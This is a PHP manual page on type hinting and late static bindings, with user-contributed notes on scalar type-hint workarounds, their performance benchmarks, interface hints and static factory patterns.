$myclass = new MyClass;
$otherclass = new OtherClass;

// Fatal Error: Argument 1 must be an object of class OtherClass
$myclass->test('hello');

// Fatal Error: Argument 1 must be an instance of OtherClass
$foo = new stdClass;
$myclass->test($foo);

// Fatal Error: Argument 1 must not be null
$myclass->test(null);

// Works: Prints Hello World
$myclass->test($otherclass);

// Fatal Error: Argument 1 must be an array
$myclass->test_array('a string');

// Works: Prints the array
$myclass->test_array(array('a', 'b', 'c'));

// Works: Prints ArrayObject
$myclass->test_interface(new ArrayObject(array()));

// Works: Prints int(1)
$myclass->test_callable('var_dump', 1);
?>

Type hinting also works with functions:

<?php
// An example class
class MyClass {
    public $var = 'Hello World';
}

/**
 * A test function
 *
 * First parameter must be an object of type MyClass
 */
function myFunction(MyClass $foo) {
    echo $foo->var;
}

// Works
$myclass = new MyClass;
myFunction($myclass);
?>

Type hinting allowing NULL value:

<?php

/* Accepting NULL value */
function test(stdClass $obj = NULL) {

}

test(NULL);
test(new stdClass);

?>

User Contributed Notes

doom at doom dot pl 06-Mar-2014 06:16
I've done some tests of the overhead that class Typehint  gives us.
At my PC it goes as follows:
teststringNormal took: 0.041965961456299
teststringOverhead took: 0.48374915122986
It's like 10x longer time (not mention about memory usage), it's just because exception is thrown EVERY SINGLE TIME, along with expensive preg_match() and debug_backtrace() calls.
I think that using class in bigger applications will increase overhead like 100% or more.
<?php

function teststringOverhead(string $string) {
    return $string;
}
function teststringNormal($string){
    if(!is_string($string)){
        return;
    }
    return $string;
}
$loopTimes = 20000;

/////////// test of overhead implementation vs normal
$t1 = microtime(true);
for($i = 0; $i <= $loopTimes; $i++)  teststringNormal("xxx");
echo "<br>teststringNormal took: " . (microtime(true) - $t1);

$t2 = microtime(true);
for($i = 0; $i <= $loopTimes; $i++)  teststringOverhead("xxx");
echo "<br>teststringOverhead took: " . (microtime(true) - $t2);
?>
sorin dot badea91 at gmail dot com 25-Apr-2013 12:05
I've implemented a basic function to ensure argument's type.

<?php
/**
 * Primary types
 */
class Type
{
    const SKIP     = 0;
    const INT      = 1;
    const STRING   = 2;
    const BOOLEAN  = 3;
    const CALLBACK = 4;
    const FLOAT    = 5;
    const RESOURCE = 6;
}

/**
 * @throws InvalidArgumentException
 */
function ensureType()
{
    $debugStack = debug_backtrace();
    $argv       = $debugStack[1]['args'];
    $types      = func_get_args();
    foreach ($argv as $key => $value) {
        $message = null;
        if (is_null($value)) {
            continue;
        }
        switch ($types[$key]) {
            case Type::INT:
                if (!is_int($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be of type int';
                }
                break;
            case Type::STRING:
                if (!is_string($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be of type string';
                }
                break;
            case Type::BOOLEAN:
                if (!is_bool($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be of type boolean';
                }
                break;
            case Type::CALLBACK:
                if (!is_callable($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be a valid callback';
                }
                break;
            case Type::FLOAT:
                if (!is_float($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be of type float';
                }
                break;
            case Type::RESOURCE:
                if (!is_resource($value)) {
                    $message = 'Argument ' . $key . ' passed to ' . $debugStack[1]['function'] . '() must be of type resource';
                }
                break;
        }
        if (!is_null($message)) {
            if (is_object($value)) {
                $message .= ', instance of ' . get_class($value) . ' given';
            } else {
                $message .= ', ' . gettype($value) . ' given';
            }
            throw new InvalidArgumentException($message);
        }
    }
}

function dummyFunction($var1, $var2, $var3)
{
    ensureType(Type::BOOLEAN, Type::INT, Type::STRING);
}

$object = new ReflectionClass('ReflectionClass');

dummyFunction(1, $object, 'Hello there');
michaelrfairhurst at gmail dot com 18-Feb-2013 06:46
The scalar type hinting solutions are all overthinking it. I provided the optimized regex version, as well as the fastest implementation I've come up with, which just uses strpos. Then I benchmark both against the TypeHint class.

<?php
function optimized_strpos($ErrLevel, $ErrMessage) {
        if ($ErrLevel == E_RECOVERABLE_ERROR
            // order this according to what your app uses most
            return strpos($ErrMessage, 'must be an instance of string, string')
                || strpos($ErrMessage, 'must be an instance of integer, integer')
                || strpos($ErrMessage, 'must be an instance of float, double')
                || strpos($ErrMessage, 'must be an instance of boolean, boolean')
                || strpos($ErrMessage, 'must be an instance of resource, resource');
}

function optimized_regex($ErrLevel, $ErrMessage) {
        if ($ErrLevel == E_RECOVERABLE_ERROR) {
            if(preg_match('/^Argument \d+ passed to (?:\w+::)?\w+\(\) must be an instance of (\w+), (\w+) given/', $ErrMessage, $matches))
                return $matches[1] == ($matches[2] == 'double' ? 'float' : $matches[2]);
        }
}
?>

BENCHMARKING Typehint::handleTypehint()
string type hint.....[function it(string $var) {}]............2.1588530540466 seconds
float type hint......[function it(float $var) {}].............2.1563150882721 seconds
integer type hint....[function it(integer $var) {}]...........2.1579530239105 seconds
boolean type hint....[function it(boolean $var) {}]...........2.1590459346771 seconds

BENCHMARKING optimized_regex()
string type hint.....[function it(string $var) {}]............0.88872504234314 seconds
float type hint......[function it(float $var) {}].............0.88528990745544 seconds
integer type hint....[function it(integer $var) {}]...........0.89038777351379 seconds
boolean type hint....[function it(boolean $var) {}]...........0.89061188697815 seconds

BENCHMARKING optimized_strpos()
string type hint.....[function it(string $var) {}]............0.52635812759399 seconds
float type hint......[function it(float $var) {}].............0.74228310585022 seconds
integer type hint....[function it(integer $var) {}]...........0.63721108436584 seconds
boolean type hint....[function it(boolean $var) {}]...........0.8429491519928 seconds
john at cast dot com 30-Apr-2011 03:33
i use eclipse ganymede as an IDE and it offers "intellisense" where it can, i.e. when variables are "declared" via type hinting or a "new"-statement . i found using the following pattern helps eclipse along as well:

<?php
class MyClass{

  public static function Cast(MyClass &$object=NULL){
       return $object;
  }

  public method CallMe(){
  }
}

$x=unserialize($someContent);
$x=MyObject::Cast($x);
$x->CallMe();
?>

after calling Cast(), due to the type hinting, eclipse offers me the "CallMe" function in a dropdown when i type "$x->" in the code afterwards.

i found this very practical und included the Cast() function in my code template for new classes. i've been wondering, if there is a drawback i oversaw, but i haven't noticed any negative effects so far... maybe some of you will find this just as handy as i do ;o)

p.s. do note: when used in inherited classes a STRICT-notice comes up, because the function definition of the inherited class doesn't match the parent's definition (different type hinting) - but it works great!
Anonymous 14-Apr-2011 04:43
Please note, there is a strong typing in PHP.

You have to import one PHP library to your existing projects, and create some classes, in which the scalar values will be automatically wrapped by an autoboxing mechanism known from Java, like so:

<?php
class String extends AutoBoxedObject
{
    public $value;

    public function __construct($value) {
        $this->value = $value;
    }

    public function __toString() {
        return "$this->value";
    }

    public function toUpperCase() {
        return strtoupper($this->value);
    }
}

function & string($value = null) {
    $x = & VariablesManager::getNewPointer(new String($value));
    return $x;
}
?>

From now on you can declare the type of data in your variables, and validate their values in a class constructor.

See this example:

<?php
$y = & string("aaa");
// lets check, that $y is an object
var_dump($y);

// now we are overwritting $y variable with a scalar value of "zzz"
$y = "zzz";
// var_dump() shows us, that "zzz" is still an object, not the scalar type as in regular PHP
var_dump($y);
// the line below should raise a fatal error, because "zzz" was a scalar type (string), but it will be ok, because $y is still an object (thanks to autoboxing)
var_dump($y->toUpperCase());
?>
Now, the output is:

object(String)#1 (2) {
  ["value"]=>
  string(3) "aaa"
  ["ref":protected]=>
  int(1)
}
object(String)#2 (2) {
  ["value"]=>
  string(3) "zzz"
  ["ref":protected]=>
  int(1)
}
string(3) "ZZZ"

As you can see, PHP can be as good as Java or C#:)

To enforce strong data types you just have to do it in the wrapper class, like so:
<?php
class Integer extends AutoBoxedObject
{
    public $value;

    public function __construct($value) {
        if(!is_int($value)) { throw new Exception("Invalid data type"); }
        $this->value = $value;
    }

    public function getValue() {
        return $this->value;
    }

    public function __toString() {
        return (string)$this->value;
    }
}
?>

To download the library, just google for 'strong data typing autoboxing' . There is an article describing how to use it, and a download link to the appropriate PHP library.
macobex dot exe at gmail dot com 11-Feb-2011 03:48
I agree [that] using object/wrapper is faster than using the is_* functions.

But I think we must also consider the fact that when we pass an argument to a function, most likely we will use it's value. So I've done a little test to see which approach is faster.

Primitive Approach:
<?php

function testPrimitive($str) {
   if ( is_string($str) )
      $x = $str . ' world';   // using the argument's value
   else
      trigger_error('Argument passed must be of type string.');
   }

?>

Wrapper Approach:

<?php

   function testWrapper(StringWrapper $str) {
      $x = $str->getValue() . ' world';  // using the argument's value
   }

?>

Test: 10,000 iterations
Results:
   primitive average: 0.026113033294678
   wrapper average: 0.063039064407349

   primitive is faster than wrapper approach by 41.42357368431%

Using the is_* function is faster than using wrapper class, given the fact that we just not want to check the type of the argument, but we also want to use the value of the argument.
alejosimon at gmail dot com 22-Oct-2010 08:55
For PHP 5.3 version and namespaces support.

<?php

function phpErrorHandler( $code, $message, $file, $line ) {

    if ( error_reporting() & $code ) {

        if ( $code == E_RECOVERABLE_ERROR ) { // Scalar Type-Hinting patch.

            $regexp = '/^Argument (\d)+ passed to (.+) must be an instance of (?<hint>.+), (?<given>.+) given/i' ;

            if ( preg_match( $regexp, $message, $match ) ) {

                $given = $match[ 'given' ] ;
                $hint  = end( explode( '\\', $match[ 'hint' ] ) ) ; // namespaces support.

                if ( $hint == $given ) return true ;
            }
        }

        return false ;
    }
}

set_error_handler( 'phpErrorHandler' ) ;

/************************************/

function typeHintTest( integer $arg1 ) {

    print_r( $arg1 ) ;
}

typeHintTest( true ) ; // Error throw because not integer type.

?>
gdecad at NOSPAM dot example dot com 22-Oct-2010 03:02
I have made a little bench between three method of type hinting for native type (string, integer, ...).

First method : by test type in function like :
<?php
function testTest($arg) {
    if (!is_string($arg)) {
        trigger_error('Argument $arg passed to test must be an instance of string, other given');
    }
    return $arg;
}
?>

Second method : by object representing native type :
<?php
function testObject(StringObj $arg) {
    return $arg;
}
?>

Third method : by class TypeHint proposed by Daniel :
<?php
function testHint(string $arg) {
    return $arg;
}
?>

the results are here :
bench for 100000 iterations,  in seconds
        avg                    min                    max                    total
test    5.3275489807129E-6    2.8610229492188E-6    0.0033020973205566    0.53275895118713
object    4.9089097976685E-6    3.814697265625E-6    0.0025870800018311    0.49089503288269
hint    3.2338891029358E-5    2.9802322387695E-5    0.0025920867919922    3.2338931560516

As you can see, the method by object is the best
now you know...
reinier dot kip at gmail dot com 15-Sep-2009 10:22
Please note that when using the type hinting class together with namespaces, you're asking for trouble:

<?php
namespace a {
    interface A {
        public function execute(string $sth);
    }
}

namespace a\b {
    class B implements a\A {
        public function execute(string $sth){} // Wrong
        public function execute(a\string $sth){} // Correct
    }
} // Causes a fatal error on this line. 'string' is considered an object from the namespace 'a'
?>
dpariyskiy at netatwork dot com 08-Sep-2009 05:36
Daniel, thank you for the type hinting class. Very useful.
For anyone having a problem where php isn't setting Daniel's error handler, as was the case for me, try changing initializeHandler function to the following:

<?php
public static function initializeHandler()
{

    set_error_handler(array('Typehint','handleTypehint'));

    return TRUE;
}
?>

Hope this helps,
--Dmitriy
bantam at banime dot com 06-Jan-2009 11:53
Daniel's typehint implementation was just what I was looking for but performance in production wasn't going to cut it. Calling a backtrace every time hurts performance. For my implementation I didn't use it, after all, PHP tells us what the data type is in the error message, I don't feel I need to evaluate the argument where I am using typehinting. Here is the cut down version I use in my error handling class:

<?php
        public static function typehint($level, $message)
        {
            if($level == E_RECOVERABLE_ERROR)
            {
                if(preg_match('/^Argument (\d)+ passed to (?:(\w+)::)?(\w+)\(\) must be an instance of (\w+), (\w+) given/', $message, $match))
                {
                    if($match[4] == $match[5])
                        return true;
                }
            }

            return false;
        }
?>

Hope this can be of use to somebody.
wickedmuso at gmail dot com 25-Oct-2008 05:26
One useful thing with Type Hinting that I could not find in the documentation (but tested) is that you can also use an Interface in the hint (versus a Class).  This is a very useful tool if you are trying to code to Interfaces rather than Classes (which is common in Test Driven Development and Dependency Injection paradigms).  It means your external class can present itself into the method as long as it implements the nominated Interface (obviously).
info at thewebsiteguy dot com dot au 08-Oct-2008 03:30
I find it rather frustrating that PHP has internal data types but doesn't allow optional hinting for it.  I REALLY needed it for something, so I found a way around it.

<?php
abstract class DataType
{
    protected $length;
    protected $precision;
    protected $number;

  public function __construct()
  {
    $this->number = false;
    $this->precision = null;
  }

    public function GetLength()
    {
        return $this->length;
    }

    public function IsNumber()
    {
        return $this->number;
    }

    public function GetPrecision()
    {
        return $this->precision;
    }
}

class Integer extends DataType
{
    public function __construct($length = 12)
    {
        parent::__construct();
        $this->number = true;
        $this->length = $length;
        $this->precision = 0;
    }
}

class Float extends DataType
{
  public function __construct($length = 12, $precision = 2)
  {
    parent::__construct();
    $this->number = true;
    $this->length = $length;
    $this->precision = $precision;
  }
}

class String extends DataType
{
    public function __construct($length = 255)
    {
        parent::__constructor();
        $this->length = $length;
    }
}
//etc etc through the types...
?>

then later I can do this...

<?php
final class Field
{
    public $Name;
    public $Mandatory;
    public $Hidden;
    public $ListField;
    public $Value;
    public $ForeignClass;
    public $ReadOnly;
    public $DataType;

    public function __construct($name, DataType $dataType, $mandatory = false, $listField = true, $value = null, $readOnly = false, BaseCBO $foreignClass = null)
    {
        $this->Name = $name;
        $this->DataType = $dataType;
        $this->Mandatory = $mandatory;
        $this->ListField = $listField;
        $this->Value = $value;
        $this->ReadOnly = $readOnly;
        $this->ForeignClass = $foreignClass;
    }
}

// ....

class DoSomeStuff
{
    public function DoGenericThings(Field $field)
    {
        if ($field->DataType instanceof Integer)
        {
            // do things for an integer field...
        }
    }
}
?>
wbcarts at juno dot com 02-Oct-2008 03:20
TYPE-HINTING and VISIBILITY

Type-hinting is just one more small piece of PHP that protects our objects when visibility cannot.

<?php

class Point {
  public $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
}

class Polyline {
  protected $points = array();

  public function addPoint(Point $p) {  // the line we're interested in...
    $this->points[] = $p;
  }
}

$point1 = new Point(15, 12);
$polyline = new Polyline();
$polyline->addPoint($point1);
$polyline->addPoint(new Point(55, 22));
$polyline->addPoint(new Point(33, 31));

$polyline->addPoint(new stdClass());    // PHP will throw an error for us!

?>

Since our Polyline::addPoint() function has to be public, any outside code can try to pass anything. But, when type-hinting is declared, PHP throws an error when phoney data tries to sneak by.
DanielLWood [at] Gmail [dot] Com 09-Sep-2008 02:59
To follow up on my original post dealing with the type hinting class I provided:

Kalkamar is absolutely correct, it is slow and is a hack.  Everyone who uses it and wants to see this type of syntax native needs to post on the 'php internals' development thread in support.

Thanks,

Dan
kalkamar at web dot de 04-Sep-2008 11:24
I really like the Daniel`s Typehinting-Class, but you please not that it may be relevant for the performance if you use Typehinting for scalar values very often.

Here is my performance-test:

<?php

function notypehinting($x)
{
    is_string($x);   //checking the type manually instead
}

function typehinting(string $x)
{
}

$test=new timer;
for($i=0;$i<10000;$i++)
{
try{
    notypehinting('test');
}
catch(Exception $e){}
}
echo $test.'<br>';

$test2=new timer;
for($i=0;$i<10000;$i++)
{
try{
    typehinting('test');
}
catch(Exception $e){}
}
echo $test2.'<br>';
?>

Output:

0.0088460445404053
0.21634602546692

Result:
typehinting() ist more than 20 times slower than notypehinting()

You see: typehinting for scalar types (like suggested by Daniel) is not the best thing for the performance if you use it very often.
comments at ignorethis netweblogic com 17-Jul-2008 04:39
Note that you cannot add a type hint and give a default value, apart from arrays. You will get an internal server error, or fatal error.

e.g.

<?php

//Wont work
function test(ObjName $obj = ''){
   //.....
}

//Will work
function test(Array $obj = array()){
   //.....
}

?>

Even if you have Daniel's implementation of type hinting, a string typehint will still not work if you give it an empty string default too.
marcus at ignorethis netweblogic dot com 14-Jul-2008 03:18
Love the typehint object Daniel. Great effort!

However, it still throws catchable fatal errors, which is not what I want, so I added one line to handleTypehint() so it throws an Exception.

<?php
public static function handleTypehint($ErrLevel, $ErrMessage) {
        if ($ErrLevel == E_RECOVERABLE_ERROR) {
            if (preg_match ( TYPEHINT_PCRE, $ErrMessage, $ErrMatches )) {
                list ( $ErrMatch, $ThArgIndex, $ThClass, $ThFunction, $ThHint, $ThType ) = $ErrMatches;
                if (isset ( self::$Typehints [$ThHint] )) {
                    $ThBacktrace = debug_backtrace ();
                    $ThArgValue = NULL;
                    if (self::getTypehintedArgument ( $ThBacktrace, $ThFunction, $ThArgIndex, $ThArgValue )) {
                        if (call_user_func ( self::$Typehints [$ThHint], $ThArgValue )) {
                            return TRUE;
                        }
                    }
                }
                throw new Exception($ErrMessage);
            }
        }
        return FALSE;
    }
?>
madness 11-Jul-2008 12:09
I must admit that Daniel's implementation is quite awesome (after all we'd be omonyms if I was english, omen nomen ;-) ), for everyone that already has a function/class to handle errors, this is a quick method to integrate the TypeHint class:

<?php
    public static function handleError($errno, $errstr, $errfile, $errline){

        // Implements just-in-time classes for broad type hinting
        if (TypeHint::handleTypehint($errno, $errstr)){
            return true;
        }

        // do your usual stuff here
        /*
         * ...
         */
    }
?>

The initializeHandler method and the Typehint::initializeHandler(); call are rendered useless in this case. Enjoy.
Daniel dot L dot Wood at Gmail dot Com 26-May-2008 08:00
People often ask about scalar/basic typehints.  Here is a drop in class that I use in my MVC framework that will enable typehints through the use of a custom error handler.

Note: You should include this code above all other code in your include headers and if you are the using set_error_handler() function you should be aware that this uses it as well.  You may need to chain your set_error_handlers()

Why?
1) Because people are sick of using the is_* functions to validate parameters.
2) Reduction of redundant coding for defensive coders.
3) Functions/Methods are self defining/documenting as to required input.

Also..
Follow the discussion for typehints in PHP 6.0 on the PHP Internals boards.

<?php

define('TYPEHINT_PCRE'              ,'/^Argument (\d)+ passed to (?:(\w+)::)?(\w+)\(\) must be an instance of (\w+), (\w+) given/');

class Typehint
{

    private static $Typehints = array(
        'boolean'   => 'is_bool',
        'integer'   => 'is_int',
        'float'     => 'is_float',
        'string'    => 'is_string',
        'resrouce'  => 'is_resource'
    );

    private function __Constrct() {}

    public static function initializeHandler()
    {

        set_error_handler('Typehint::handleTypehint');

        return TRUE;
    }

    private static function getTypehintedArgument($ThBackTrace, $ThFunction, $ThArgIndex, &$ThArgValue)
    {

        foreach ($ThBackTrace as $ThTrace)
        {

            // Match the function; Note we could do more defensive error checking.
            if (isset($ThTrace['function']) && $ThTrace['function'] == $ThFunction)
            {

                $ThArgValue = $ThTrace['args'][$ThArgIndex - 1];

                return TRUE;
            }
        }

        return FALSE;
    }

    public static function handleTypehint($ErrLevel, $ErrMessage)
    {

        if ($ErrLevel == E_RECOVERABLE_ERROR)
        {

            if (preg_match(TYPEHINT_PCRE, $ErrMessage, $ErrMatches))
            {

                list($ErrMatch, $ThArgIndex, $ThClass, $ThFunction, $ThHint, $ThType) = $ErrMatches;

                if (isset(self::$Typehints[$ThHint]))
                {

                    $ThBacktrace = debug_backtrace();
                    $ThArgValue  = NULL;

                    if (self::getTypehintedArgument($ThBacktrace, $ThFunction, $ThArgIndex, $ThArgValue))
                    {

                        if (call_user_func(self::$Typehints[$ThHint], $ThArgValue))
                        {

                            return TRUE;
                        }
                    }
                }
            }
        }

        return FALSE;
    }
}

Typehint::initializeHandler();

?>

An are some examples of the class in use:

<?php

function teststring(string $string) { echo $string; }
function testinteger(integer $integer) { echo $integer; }
function testfloat(float $float) { echo $float; }

// This will work for class methods as well.

?>

You get the picture..
jesdisciple @t gmail -dot- com 07-Nov-2007 04:50
The manual's sample code says:
<?php
//...
// Fatal Error: Argument 1 must not be null
$myclass->test(null);
//...
?>

And this is true, unless a default value of NULL is given; in fact, this is the only way to give a default value for object arguments (as a default value must be a constant expression):
<?php
$mine = new MyClass();
$mine->test(NULL);
class MyClass{
    public function __construct(OtherClass $arg = NULL){
        if(is_null($arg)){
            //Apply default value here.
        }
    }
    public function test(array $arr = NULL){
        print_r($arr);
    }
}
class OtherClass{

}
?>
Jazz 16-Oct-2007 06:20
To Nikivich and Edorian:

There are many times when you would use an equals() method other than to find out if the two objects are the same object. Think of all the primitive wrapper classes in Java, for example -- if you create two new Integer()'s with identical values, equals() returns true, even though they are two different objects. There would be no reason to allow someone to perform an equals() between an Integer and, say, a GregorianCalendar -- it just doesn't make sense. In Java you would attempt this and probably get a ClassCastException, but in PHP no such facility exists, so the best way to prevent this would be through type hinting.

The point Nicholas was making is that you can't specify a stricter type hint on an inherited method, and despite your arguments, that would be a truly useful thing to be able to do.

(True overloading would be a better way, IMHO, but *shrug*)
ldebuyst->brutele.be 28-Feb-2007 03:52
In reply to Nikivich and Edorian:

Although it isn't quite clear from his post, I believe that the point nicholas is trying to make is that, if you typehint an abstract function, you MUST use that same typehint for all classes extending the abstract class.

As his example shows, if you typehint (Object $object), then  you must use the exact same typehint in the extending class. Using the typehint (Table $table) or (Chair $chair) will give fatal errors, even if Table and Chair are subclasses of Object.

In other words, type hinting allows for descendants, as caliban at darklock dot com has shown, except when you're subclassing.

See http://bugs.php.net/bug.php?id=36601 for a bit more info. Flagged as wontfix, though, so something to keep in mind.
Nikivich 23-Feb-2007 04:28
In reply to Nicolas

I don't think you exactly understand the inheritance principles
If you want to do the equals thing in a decent OO way, you would do something like this:

class Object {
      public equals(Object &o) {
            return this == &o; //perform default equals check, one could arguably say that === is the correct default, but doesnt matter for the example
      }
}

class Chair extends Object {
}
class Table extends Object {
}

$chair = new Chair();
$table = new Table();
$chair->equals($table); //will print false (zero)

This is actually a correct implementation of an equals method. Since you want to take a chair for example and just call equals() on it WITH ANY OBJECT, you should only hint Object, not an implementation, since the whole point of the equals method is to find out whether it is actually the same object :-) I want to be able to pass a table (which implements Object too, so is perfectly allowed as a parameter to equals).

Hope this clears it up a bit for you... :-)
Edorian 07-Feb-2007 07:12
In response to nicholas at nicholaswilliams dot info:

Of course this doesn't work. Not in Php nor in Java.

You can't put a Chair into Table just because there both implementing "Object"

It wouldn't make any sense to say "i'm expecting an argument that implements the same object that i'm implementing" with type hinting.

You say: "I'm expection an Object of that Class or a Object of a Subclass of that Class " like you do in every OO languange.
nicholas at nicholaswilliams dot info 13-Nov-2006 09:53
Please note that the following will not work:

<?php

abstract class Object
{
    public abstract function toString( );
    public abstract function equals( Object &$o );
}

class Chair extends Object
{
    public function toString( )
    {
        return 'This is a chair.';
    }

    public function equals( Chair &$o )
    {
        return TRUE;
    }
}

class Table extends Object
{
    public function toString( )
    {
        return 'This is a table.';
    }

    public function equals( Table &$o )
    {
        return TRUE;
    }
}

$chair = new Chair();
$table = new Table();

echo $chair->equals( $table );

?>

The expected output is "Fatal error: Argument 1 passed to Chair::equals() must be an instance of Chair, called in [filename] on line 38 and defined in [filename] on line 16" but instead you get "Fatal error: Declaration of Chair::equals() must be compatible with that of Object::equals() in [filename] on line 20".

This is unlike other OO languages (secifically Java) which not only allow but expect this type of code. It is in the nature of abstraction. However, you can get similar results using the following code instead:

<?php

abstract class Object
{
    public abstract function toString( );
    public abstract function equals( self &$o );
}

class Chair extends Object
{
    public function toString( )
    {
        return 'This is a chair.';
    }

    public function equals( self &$o )
    {
        return TRUE;
    }
}

class Table extends Object
{
    public function toString( )
    {
        return 'This is a table.';
    }

    public function equals( self &$o )
    {
        return TRUE;
    }
}

$chair = new Chair();
$table = new Table();

echo $chair->equals( $table );

?>

This code gives the expected result "Fatal error: Argument 1 passed to Chair::equals() must be an instance of Chair, called in [filename] on line 38 and defined in [filename] on line 16". This is the proper behavior but isn't the most intuitive approach for those of us used to OO programming.

Hope this helps someone :-).

Nicholas
02-Sep-2006 05:59
The type hinting system can also be used for interfaces.  Example:

<?php
interface fooface
{
    public function foo ();
}

class fooclass implements fooface
{
    public function foo ()
    {
        echo ('foo<br>');
    }
}
class barclass implements fooface
{
    public function foo ()
    {
        echo ('bar<br>');
    }
}
class bazclass implements fooface
{
    public function foo ()
    {
        echo ('baz<br>');
    }
}

class quuxclass
{
    public function foo ()
    {
        echo ('quux<br>');
    }
}

function callfoo (fooface $myClass)
{
    $myClass -> foo ();
}

$myfoo = new fooclass;
$mybar = new barclass;
$mybaz = new bazclass;
$myquux = new quuxclass;

callfoo ($myfoo);
callfoo ($mybar);
callfoo ($mybaz);
callfoo ($myquux); // Fails because the quuxclass doesn't implement the fooface interface
?>

Using this syntax you can allow a function to work with different classes as long as they all implement the same interfaces.  An example might be an online shop that implements a plugin system for payment.  If the creator of the script provides a payment module interface then functions can check if it has been implemented in a given payment class.  This means that the details of the class are unimportant, so it doesn't matter if it interfaces with PayPal, HSBC, ProTX or any other payment system you care to name, but if it doesn't properly provide all the functionality a payment module requires a fatal error is generated.

Unfortunately, it doesn't seem possible to use type hinting with new.  In java you could do a "fooface myfoo = new fooclass" which would fail if you tried it with quuxclass instead, but as far as I can tell you can't do a similar test on create with PHP.
mlovett at morpace dot com 06-Jul-2005 12:54
Type hinting works with interfaces too. In other words, you can specify the name of an interface for a function parameter, and the object passed in must implement that interface, or else type hinting throws an exception.


Late Static Bindings

As of PHP 5.3.0, PHP implements a feature called late static bindings which can be used to reference the called class in a context of static inheritance.

More precisely, late static bindings work by storing the class named in the last "non-forwarding call". In case of static method calls, this is the class explicitly named (usually the one on the left of the :: operator); in case of non static method calls, it is the class of the object. A "forwarding call" is a static one that is introduced by self::, parent::, static::, or, if going up in the class hierarchy, forward_static_call(). The function get_called_class() can be used to retrieve a string with the name of the called class and static:: introduces its scope.

This feature was named "late static bindings" with an internal perspective in mind. "Late binding" comes from the fact that static:: will not be resolved using the class where the method is defined but it will rather be computed using runtime information. It was also called a "static binding" as it can be used for (but is not limited to) static method calls.

Limitations of self::

Static references to the current class like self:: or __CLASS__ are resolved using the class in which the function belongs, as in where it was defined:

Example #1 self:: usage

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        self::who();
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

The above example will output:

A

Late Static Bindings' usage

Late static bindings tries to solve that limitation by introducing a keyword that references the class that was initially called at runtime. Basically, a keyword that would allow you to reference B from test() in the previous example. It was decided not to introduce a new keyword but rather use static that was already reserved.

Example #2 static:: simple usage

<?php
class A {
    public static function who() {
        echo __CLASS__;
    }
    public static function test() {
        static::who(); // Here comes Late Static Bindings
    }
}

class B extends A {
    public static function who() {
        echo __CLASS__;
    }
}

B::test();
?>

The above example will output:

B

Note:

In non-static contexts, the called class will be the class of the object instance. Since $this-> will try to call private methods from the same scope, using static:: may give different results. Another difference is that static:: can only refer to static properties.

Example #3 static:: usage in a non-static context

<?php
class A {
    private function foo() {
        echo "success!\n";
    }
    public function test() {
        $this->foo();
        static::foo();
    }
}

class B extends A {
   /* foo() will be copied to B, hence its scope will still be A and
    * the call be successful */
}

class C extends A {
    private function foo() {
        /* original method is replaced; the scope of the new one is C */
    }
}

$b = new B();
$b->test();
$c = new C();
$c->test();   //fails
?>

The above example will output:

success!
success!
success!

Fatal error:  Call to private method C::foo() from context 'A' in /tmp/test.php on line 9

Note:

Late static bindings' resolution will stop at a fully resolved static call with no fallback. On the other hand, static calls using keywords like parent:: or self:: will forward the calling information.

Example #4 Forwarding and non-forwarding calls

<?php
class A {
    public static function foo() {
        static::who();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}

class B extends A {
    public static function test() {
        A::foo();
        parent::foo();
        self::foo();
    }

    public static function who() {
        echo __CLASS__."\n";
    }
}
class C extends B {
    public static function who() {
        echo __CLASS__."\n";
    }
}

C::test();
?>

The above example will output:

A
C
C

User Contributed Notes

tamilps2 at gmail dot com 20-Mar-2014 02:42
I have implemented enum using late static binding.

<?php
interface IEnum {
  /**
   * Only concrete class should implement this function that should behave as
   * an enum.
   *
   * This method should return the __CLASS__ constant property of that class
   *
   * @return string __CLASS__
   */
  public static function who();
}

abstract class Enum {

  /**
   * The selected value for the enum implementation
   *
   * @var mixed
   */
  public $value;

  public function __construct($value) {
    $this->value = $value;
  }

  /**
   * The factory method that creates the corresponding enum class.
   *
   * @param integer $type
   * @return false|\class
   */
  public static function Factory($type) {
    if (empty($type)) {
      return false;
    }

    // use of late static binding to get the class.
    $class = static::who();

    if (array_key_exists($type, static::$_enums)) {
      return new $class($type);
    }

    return false;
  }

  public function getValue() {
    return $this->value;
  }

  public static function getValues() {
    return array_keys(static::$_enums);
  }

  public function getString() {
    return static::$_enums[$this->value];
  }

  public function __toString() {
    return static::$_enums[$this->value];
  }

}

class Fruits extends Enum implements IEnum {

      public static $_enums = array(
            1 => 'Apple'
            2 => 'Orange'
            3 => 'Banana'
      )

      public static function who() {
             return __CLASS__;
      }
}

// Usage

// user input from dropdown menu of fruits list
$input = 3;

$fruit = Fruits::Factory($input);

$fruit->getValue(); // 3
$fruit->getString(); // Banana
?>
mhh1422 at hotmail dot com 29-Dec-2013 08:58
For abstract classes with static factory method, you can use the static keyword instead of self like the following:
<?php

abstract class A{

    static function create(){

        //return new self();  //Fatal error: Cannot instantiate abstract class A

        return new static(); //this is the correct way

    }

}

class B extends A{
}

$obj=B::create();
var_dump($obj);

?>
Taai 21-Aug-2012 07:36
I discovered an interesting thing. The class name string must be accessed directly from "flat" variable. Late static binding code that get's it's variable from array that is passed by class instance, throws an syntax error. Bug?

<?php
class A {

    public $metadata = array('class' => 'A');

    public static function numbers()
    {
        return 123;
    }

}

$instance = new A();

// This throws an error
// Parse error: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM)
var_dump( $instance->metadata['class']::numbers() );

// Get the class name and store it in "flat" variable and now it's ok
$class_name = $instance->metadata['class'];
var_dump( $class_name::numbers() );

// Other tests -------------------------------------------

$arr =  array('class' => 'A');

// This works too.
var_dump( $arr['class']::numbers() );
?>
jrfish dot x at gmail dot com 09-Dec-2010 01:05
also works the same way with static variables and constants
jrfish dot x at gmail dot com 09-Dec-2010 01:01
consider this:

<?php
class A
{

 // some stuff....

    public static function getInstance()
    {
        return new self();
    }

}

class B extends A
{
  //stuff...
}

